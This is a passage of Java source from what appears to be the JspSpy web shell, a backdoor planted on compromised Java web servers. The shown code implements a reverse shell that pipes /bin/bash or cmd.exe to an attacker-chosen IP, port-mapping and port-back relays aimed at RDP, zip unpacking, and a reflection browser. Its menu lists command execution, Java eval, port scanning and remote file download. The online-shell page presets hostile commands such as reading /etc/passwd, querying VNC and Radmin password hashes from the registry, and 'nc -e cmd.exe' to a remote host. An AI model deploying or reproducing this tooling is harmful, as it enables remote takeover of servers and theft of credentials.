  2217. response.sendRedirect(SHELL_NAME);
  2218. } catch (Exception e) {
  2219. throw e;
  2220. }
  2221. }
  2222. public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
  2223. if (f.isDirectory()) {
  2224. if (this.config) {
  2225. String curName = f.getAbsolutePath().replace('\\','/');
  2226. curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
  2227. if (this.exclude != null) {
  2228. for (int i = 0;i<exclude.length;i++) {
  2229. if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
  2230. return;
  2231. }
  2232. }
  2233. }
  2234. }
  2235. File[] arr = f.listFiles();
  2236. for (int i = 0;i<arr.length;i++) {
  2237. File ff=arr[i];
  2238. String tmpBase = base;
  2239. if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2240. tmpBase += "/";
  2241. zipDir(ff,tmpBase+f.getName(),zout);
  2242. }
  2243. } else {
  2244. String tmpBase = base;
  2245. if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
  2246. tmpBase += "/";
  2247. zipFile(f,tmpBase,zout);
  2248. }
  2249.  
  2250. }
  2251. public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
  2252. if (this.config) {
  2253. String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
  2254. if (this.extFilter.equals("blacklist")) {
  2255. if (Util.exists(this.fileExts,ext)) {
  2256. return;
  2257. }
  2258. } else if (this.extFilter.equals("whitelist")) {
  2259. if (!Util.exists(this.fileExts,ext)) {
  2260. return;
  2261. }
  2262. }
  2263. if (!this.sizeFilter.equals("no")) {
  2264. double size = f.length() / 1024;
  2265. if (this.sizeFilter.equals("greaterthan")) {
  2266. if (size < filesize)
  2267. return;
  2268. } else if (this.sizeFilter.equals("lessthan")) {
  2269. if (size > filesize)
  2270. return;
  2271. }
  2272. }
  2273. }
  2274. ZipEntry entry = new ZipEntry(base+f.getName());
  2275. zout.putNextEntry(entry);
  2276. FileInputStream fInput = new FileInputStream(f);
  2277. int len = 0;
  2278. byte[] buf = new byte[1024];
  2279. while ((len = fInput.read(buf)) != -1) {
  2280. zout.write(buf, 0, len);
  2281. zout.flush();
  2282. }
  2283. fInput.close();
  2284. }
  2285. }
  2286. private static class UnPackInvoker extends DefaultInvoker {
  2287. public boolean doBefore(){return false;}
  2288. public boolean doAfter(){return false;}
  2289. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2290. try {
  2291. String savepath = request.getParameter("savepath");
  2292. String zipfile = request.getParameter("zipfile");
  2293. if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2294. return;
  2295. File save = new File(savepath);
  2296. save.mkdirs();
  2297. ZipFile file = new ZipFile(new File(zipfile));
  2298. Enumeration e = file.entries();
  2299. while (e.hasMoreElements()) {
  2300. ZipEntry en = (ZipEntry) e.nextElement();
  2301. String entryPath = en.getName();
  2302. int index = entryPath.lastIndexOf("/");
  2303. if (index != -1)
  2304. entryPath = entryPath.substring(0,index);
  2305. File absEntryFile = new File(save,entryPath);
  2306. if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
  2307. absEntryFile.mkdirs();
  2308. BufferedOutputStream output = null;
  2309. BufferedInputStream input = null;
  2310. try {
  2311. output = new BufferedOutputStream(
  2312. new FileOutputStream(new File(save,en.getName())));
  2313. input = new BufferedInputStream(
  2314. file.getInputStream(en));
  2315. byte[] b = new byte[1024];
  2316. int len = input.read(b);
  2317. while (len != -1) {
  2318. output.write(b, 0, len);
  2319. len = input.read(b);
  2320. }
  2321. } catch (Exception ex) {
  2322. } finally {
  2323. try {
  2324. if (output != null)
  2325. output.close();
  2326. if (input != null)
  2327. input.close();
  2328. } catch (Exception ex1) {
  2329. }
  2330. }
  2331. }
  2332. file.close();
  2333. JSession.setAttribute(MSG,"UnPack File Success!");
  2334. response.sendRedirect(SHELL_NAME);
  2335. } catch (Exception e) {
  2336.  
  2337. throw e ;
  2338. }
  2339. }
  2340. }
  2341. //VMapPort
  2342. private static class VmpInvoker extends DefaultInvoker {
  2343. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2344. try {
  2345. PrintWriter out = response.getWriter();
  2346. Object localIP = JSession.getAttribute("localIP");
  2347. Object localPort = JSession.getAttribute("localPort");
  2348. Object remoteIP = JSession.getAttribute("remoteIP");
  2349. Object remotePort = JSession.getAttribute("remotePort");
  2350. Object done = JSession.getAttribute("done");
  2351.  
  2352. JSession.removeAttribute("localIP");
  2353. JSession.removeAttribute("localPort");
  2354. JSession.removeAttribute("remoteIP");
  2355. JSession.removeAttribute("remotePort");
  2356. JSession.removeAttribute("done");
  2357.  
  2358. if (Util.isEmpty(localIP))
  2359. localIP = InetAddress.getLocalHost().getHostAddress();
  2360. if (Util.isEmpty(localPort))
  2361. localPort = "3389";
  2362. if (Util.isEmpty(remoteIP))
  2363. remoteIP = "www.forjj.com";
  2364. if (Util.isEmpty(remotePort))
  2365. remotePort = "80";
  2366. if (!Util.isEmpty(done))
  2367. Util.outMsg(out,done.toString());
  2368.  
  2369. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2370. "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
  2371. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2372. " <tr>"+
  2373. " <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
  2374. " <div id=\"hOWTm\">"+
  2375. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2376. " <tr align=\"center\">"+
  2377. " <td style=\"width:5%\"></td>"+
  2378. " <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
  2379. " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
  2380. " </td>"+
  2381. " <td style=\"width:20%\" align=\"left\">Local Port :"+
  2382. " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
  2383. " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
  2384. " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
  2385. " <td style=\"width:20%\" align=\"left\">Remote Port :"+
  2386. " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
  2387. " </tr>"+
  2388. " <tr align=\"center\">"+
  2389. " <td colspan=\"5\"><br/>"+
  2390. " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
  2391. " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
  2392. " </td>"+
  2393. " </tr>"+
  2394. " </table>"+
  2395. " </div>"+
  2396. "</td>"+
  2397. "</tr>"+
  2398. "</table>"+
  2399. "</form>");
  2400. String targetIP = request.getParameter("targetIP");
  2401. String targetPort = request.getParameter("targetPort");
  2402. String yourIP = request.getParameter("yourIP");
  2403. String yourPort = request.getParameter("yourPort");
  2404. if (Util.isEmpty(targetIP))
  2405. targetIP = "127.0.0.1";
  2406. if (Util.isEmpty(targetPort))
  2407. targetPort = "3389";
  2408. if (Util.isEmpty(yourIP))
  2409. yourIP = request.getRemoteAddr();
  2410. if (Util.isEmpty(yourPort))
  2411. yourPort = "53";
  2412. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2413. "<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
  2414. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2415. " <tr>"+
  2416. " <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
  2417. " <div id=\"hOWTm\">"+
  2418. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2419. " <tr align=\"center\">"+
  2420. " <td style=\"width:5%\"></td>"+
  2421. " <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
  2422. " <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
  2423. " </td>"+
  2424. " <td style=\"width:20%\" align=\"left\">Target Port :"+
  2425. " <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
  2426. " <td style=\"width:20%\" align=\"left\">Your Ip :"+
  2427. " <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
  2428. " <td style=\"width:20%\" align=\"left\">Your Port :"+
  2429. " <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
  2430. " </tr>"+
  2431. " <tr align=\"center\">"+
  2432. " <td colspan=\"5\"><br/>"+
  2433. " <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
  2434. " </td>"+
  2435. " </tr>"+
  2436. " </table>"+
  2437. " </div>"+
  2438. "</td>"+
  2439. "</tr>"+
  2440. "</table>"+
  2441. "</form>");
  2442. } catch (Exception e) {
  2443.  
  2444. throw e ;
  2445. }
  2446. }
  2447. }
  2448. //StopMapPort
  2449. private static class SmpInvoker extends DefaultInvoker {
  2450. public boolean doAfter(){return true;}
  2451. public boolean doBefore(){return true;}
  2452. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2453. try {
  2454. Object obj = JSession.getAttribute(PORT_MAP);
  2455. if (obj != null) {
  2456. ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
  2457. server.close();
  2458. }
  2459. JSession.setAttribute("done","Stop Success!");
  2460. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2461. } catch (Exception e) {
  2462.  
  2463. throw e ;
  2464. }
  2465. }
  2466. }
  2467. //PortBack
  2468. private static class PortBackInvoker extends DefaultInvoker {
  2469. public boolean doAfter(){return true;}
  2470. public boolean doBefore(){return true;}
  2471. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2472. try {
  2473. String targetIP = request.getParameter("targetIP");
  2474. String targetPort = request.getParameter("targetPort");
  2475. String yourIP = request.getParameter("yourIP");
  2476. String yourPort = request.getParameter("yourPort");
  2477. Socket yourS = new Socket();
  2478. yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
  2479. Socket targetS = new Socket();
  2480. targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
  2481. StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
  2482. StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
  2483. JSession.setAttribute("done","Port Back Success !");
  2484. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2485. } catch (Exception e) {
  2486.  
  2487. throw e ;
  2488. }
  2489. }
  2490. }
  2491. private static class MapPortInvoker extends DefaultInvoker {
  2492. public boolean doBefore(){return false;}
  2493. public boolean doAfter(){return false;}
  2494. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2495. try {
  2496. PrintWriter out = response.getWriter();
  2497. String localIP = request.getParameter("localIP");
  2498. String localPort = request.getParameter("localPort");
  2499. final String remoteIP = request.getParameter("remoteIP");
  2500. final String remotePort = request.getParameter("remotePort");
  2501. if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  2502. return;
  2503. Object obj = JSession.getAttribute(PORT_MAP);
  2504. if (obj != null) {
  2505. ServerSocket s = (ServerSocket)obj;
  2506. s.close();
  2507. }
  2508. final ServerSocket server = new ServerSocket();
  2509. server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
  2510. JSession.setAttribute(PORT_MAP,server);
  2511. new Thread(new Runnable(){
  2512. public void run(){
  2513. while (true) {
  2514. Socket soc = null;
  2515. Socket remoteSoc = null;
  2516. DataInputStream remoteIn = null;
  2517. DataOutputStream remoteOut = null;
  2518. DataInputStream localIn = null;
  2519. DataOutputStream localOut = null;
  2520. try{
  2521. soc = server.accept();
  2522. remoteSoc = new Socket();
  2523. remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
  2524. remoteIn = new DataInputStream(remoteSoc.getInputStream());
  2525. remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
  2526. localIn = new DataInputStream(soc.getInputStream());
  2527. localOut = new DataOutputStream(soc.getOutputStream());
  2528. StreamConnector.readFromLocal(localIn,remoteOut);
  2529. StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
  2530. }catch(Exception ex)
  2531. {
  2532. break;
  2533. }
  2534. }
  2535. }
  2536.  
  2537. }).start();
  2538. JSession.setAttribute("done","Map Port Success!");
  2539. JSession.setAttribute("localIP",localIP);
  2540. JSession.setAttribute("localPort",localPort);
  2541. JSession.setAttribute("remoteIP",remoteIP);
  2542. JSession.setAttribute("remotePort",remotePort);
  2543. JSession.setAttribute(SESSION_O,"vmp");
  2544. response.sendRedirect(SHELL_NAME);
  2545. } catch (Exception e) {
  2546.  
  2547. throw e ;
  2548. }
  2549. }
  2550. }
  2551. //VBackConnect
  2552. private static class VbcInvoker extends DefaultInvoker {
  2553. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2554. try {
  2555. PrintWriter out = response.getWriter();
  2556. Object ip = JSession.getAttribute("ip");
  2557. Object port = JSession.getAttribute("port");
  2558. Object program = JSession.getAttribute("program");
  2559. Object done = JSession.getAttribute("done");
  2560. JSession.removeAttribute("ip");
  2561. JSession.removeAttribute("port");
  2562. JSession.removeAttribute("program");
  2563. JSession.removeAttribute("done");
  2564. if (Util.isEmpty(ip))
  2565. ip = request.getRemoteAddr();
  2566. if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  2567. port = "53";
  2568. if (Util.isEmpty(program)) {
  2569. if (ISLINUX)
  2570. program = "/bin/bash";
  2571. else
  2572. program = "cmd.exe";
  2573. }
  2574.  
  2575. if (!Util.isEmpty(done))
  2576. Util.outMsg(out,done.toString());
  2577. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2578. "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
  2579. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2580. " <tr>"+
  2581. " <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
  2582. " <div id=\"hOWTm\">"+
  2583. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2584. " <tr align=\"center\">"+
  2585. " <td style=\"width:5%\"></td>"+
  2586. " <td align=\"center\">Your Ip :"+
  2587. " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
  2588. " Your Port :"+
  2589. " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
  2590. " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
  2591. " </tr>"+
  2592. " <tr align=\"center\">"+
  2593. " <td colspan=\"2\"><br/>"+
  2594. " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
  2595. " </td>"+
  2596. " </tr>"+
  2597. " </table>"+
  2598. " </div>"+
  2599. "</td>"+
  2600. "</tr>"+
  2601. "</table>"+
  2602. "</form>");
  2603. } catch (Exception e) {
  2604.  
  2605. throw e ;
  2606. }
  2607. }
  2608. }
  2609. private static class BackConnectInvoker extends DefaultInvoker {
  2610. public boolean doAfter(){return false;}
  2611. public boolean doBefore(){return false;}
  2612. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2613. try {
  2614. String ip = request.getParameter("ip");
  2615. String port = request.getParameter("port");
  2616. String program = request.getParameter("program");
  2617. if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
  2618. return;
  2619. Socket socket = new Socket(ip,Integer.parseInt(port));
  2620. Process process = Runtime.getRuntime().exec(program);
  2621. (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  2622. (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
  2623. (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  2624. JSession.setAttribute("done","Back Connect Success!");
  2625. JSession.setAttribute("ip",ip);
  2626. JSession.setAttribute("port",port);
  2627. JSession.setAttribute("program",program);
  2628. JSession.setAttribute(SESSION_O,"vbc");
  2629. response.sendRedirect(SHELL_NAME);
  2630. } catch (Exception e) {
  2631.  
  2632. throw e ;
  2633. }
  2634. }
  2635. }
  2636. private static class JspEnvInvoker extends DefaultInvoker {
  2637. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2638. try {
  2639. PrintWriter out = response.getWriter();
  2640. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2641. " <tr>"+
  2642. " <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
  2643. " <div id=\"ghaB\">"+
  2644. " <hr/>"+
  2645. " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2646. Properties pro = System.getProperties();
  2647. Enumeration names = pro.propertyNames();
  2648. while (names.hasMoreElements()){
  2649. String name = (String)names.nextElement();
  2650. out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
  2651. }
  2652. out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2653. /*
  2654. Map envs = System.getenv();
  2655. Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  2656. for (Map.Entry<String,String> en:entrySet) {
  2657. out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  2658. }*/
  2659. out.println("</ul></div></td>"+
  2660. " </tr>"+
  2661. " </table>");
  2662. } catch (Exception e) {
  2663.  
  2664. throw e ;
  2665. }
  2666. }
  2667. }
  2668. private static class ReflectInvoker extends DefaultInvoker {
  2669. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2670. try {
  2671. PrintWriter out = response.getWriter();
  2672. String c = request.getParameter("Class");
  2673. Class cls = null;
  2674. try {
  2675. if (!Util.isEmpty(c))
  2676. cls = Class.forName(c);
  2677. } catch (ClassNotFoundException ex) {
  2678. Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
  2679. }
  2680. out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
  2681. " <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
  2682. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2683. " <tr>"+
  2684. " <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
  2685. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2686. " <tr>"+
  2687. " <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
  2688. " <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
  2689. " </tr>"+
  2690. " "+
  2691. " </table>"+
  2692. " </td>"+
  2693. " </tr>"+
  2694. " </table>"+
  2695. "</form>");
  2696.  
  2697. if (cls != null) {
  2698. StringBuffer sb = new StringBuffer();
  2699. if (cls.getPackage() != null)
  2700. sb.append("package "+cls.getPackage().getName()+";\n");
  2701. String n = null;
  2702. if (cls.isInterface())
  2703. n = "";
  2704. //else if (cls.isEnum())
  2705. // n = "enum";
  2706. else
  2707. n = "class";
  2708. sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
  2709. if (cls.getSuperclass() != null)
  2710. sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
  2711. if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
  2712. Class[] faces = cls.getInterfaces();
  2713. sb.append("\t implements ");
  2714. for (int i = 0;i<faces.length;i++) {
  2715. sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
  2716. if (i != faces.length -1) {
  2717. sb.append(",");
  2718. }
  2719. }
  2720. }
  2721. sb.append("{\n\t\n");
  2722. sb.append("\t//constructors..\n");
  2723. Constructor[] cs = cls.getConstructors();
  2724. for (int i = 0;i<cs.length;i++) {
  2725. Constructor cc = cs[i];
  2726. sb.append("\t"+cc+";\n");
  2727. }
  2728. sb.append("\n\t//fields\n");
  2729. Field[] fs = cls.getDeclaredFields();
  2730. for (int i =0;i<fs.length;i++) {
  2731. Field f = fs[i];
  2732. sb.append("\t"+f.toString()+";");
  2733. if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
  2734. sb.append("\t//value is : ");
  2735. f.setAccessible(true);
  2736. Object obj = f.get(null);
  2737. sb.append("<span style='color:red'>");
  2738. if (obj != null)
  2739. sb.append(obj.toString());
  2740. else
  2741. sb.append("NULL");
  2742.  
  2743. sb.append("</span>");
  2744. }
  2745. sb.append("\n");
  2746. }
  2747.  
  2748. sb.append("\n\t//methods\n");
  2749. Method[] ms = cls.getDeclaredMethods();
  2750. for (int i =0;i<ms.length;i++) {
  2751. Method m = ms[i];
  2752. sb.append("\t"+ m.toString()+";\n");
  2753. }
  2754. sb.append("}\n");
  2755. String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
  2756. Util.outMsg(out,m,"left");
  2757. }
  2758. } catch (Exception e) {
  2759. throw e;
  2760. }
  2761. }
  2762. }
  2763. private static class TopInvoker extends DefaultInvoker {
  2764. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2765. try {
  2766. PrintWriter out = response.getWriter();
  2767. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
  2768. "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
  2769. " <tr class=\"head\">"+
  2770. " <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2010 </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
  2771. " </tr>"+
  2772. " <tr class=\"alt1\">"+
  2773. " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
  2774. " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
  2775. " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
  2776. " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
  2777. " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
  2778. " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
  2779. " <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
  2780. " <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
  2781. " <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
  2782. " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
  2783. " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
  2784. " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
  2785. " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
  2786. " <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
  2787. " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
  2788. " </tr>"+
  2789. "</table>");
  2790. if (JSession.getAttribute(MSG) != null) {
  2791. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  2792. JSession.removeAttribute(MSG);
  2793. }
  2794. if (JSession.getAttribute(ENTER_MSG) != null) {
  2795. String outEntry = request.getParameter("outentry");
  2796. if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  2797. Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
  2798. }
  2799. } catch (Exception e) {
  2800.  
  2801. throw e ;
  2802. }
  2803. }
  2804. }
  2805. private static class VOnLineShellInvoker extends DefaultInvoker {
  2806. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2807. try {
  2808. PrintWriter out = response.getWriter();
  2809. out.println("<script>"+
  2810. " function $(id) {"+
  2811. " return document.getElementById(id);"+
  2812. " }"+
  2813. " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
  2814. " window.onload = function(){"+
  2815. " setInterval(function(){"+
  2816. " if ($(\"autoscroll\").checked)"+
  2817. " {"+
  2818. " var f = window.frames[\"echo\"];"+
  2819. " if (f && f.document && f.document.body)"+
  2820. " {"+
  2821. " if (!ie)"+
  2822. " {"+
  2823. " if (f.document.body.offsetHeight)"+
  2824. " {"+
  2825. " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
  2826. " }"+
  2827. " } else {"+
  2828. " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
  2829. " }"+
  2830. " }"+
  2831. " }"+
  2832. " },500);"+
  2833. " }"+
  2834. " </script>");
  2835. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2836. " <tr>"+
  2837. " <td>");
  2838. out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  2839. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
  2840. " <input type=\"submit\" value=\" start \" class=\"bt\">"+
  2841. " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
  2842. " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
  2843. " </form>"+
  2844. " <hr/>"+
  2845. " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
  2846. " </iframe>"+
  2847. " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
  2848. " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
  2849. " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
  2850. " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
  2851. " <option value=\"\" selected> </option>"+
  2852. " <option value=\"uname -a\">uname -a</option>"+
  2853. " <option value=\"cat /etc/issue\">issue</option>"+
  2854. " <option value=\"cat /etc/passwd\">passwd</option>"+
  2855. " <option value=\"netstat -an\">netstat -an</option>"+
  2856. " <option value=\"net user\">net user</option>"+
  2857. " <option value=\"tasklist\">tasklist</option>"+
  2858. " <option value=\"tasklist /svc\">tasklist /svc</option>"+
  2859. " <option value=\"net start\">net start</option>"+
  2860. " <option value=\"net stop policyagent /yes\">net stop</option>"+
  2861. " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
  2862. " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
  2863. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
  2864. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
  2865. " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
  2866. " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
  2867. " <option value=\"systeminfo\">systeminfo</option>"+
  2868. " <option value=\"net localgroup\">view groups</option>"+
  2869. " <option value=\"net localgroup administrators\">view admins</option>"+
  2870. " </select>"+
  2871. " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
  2872. " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
  2873. " </form>"+
  2874. " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
  2875. );
  2876. out.println(" </td>"+
  2877. " </tr>"+
  2878. "</table>");
  2879. } catch (Exception e) {
  2880. throw e ;
  2881. }
  2882. }
  2883. }
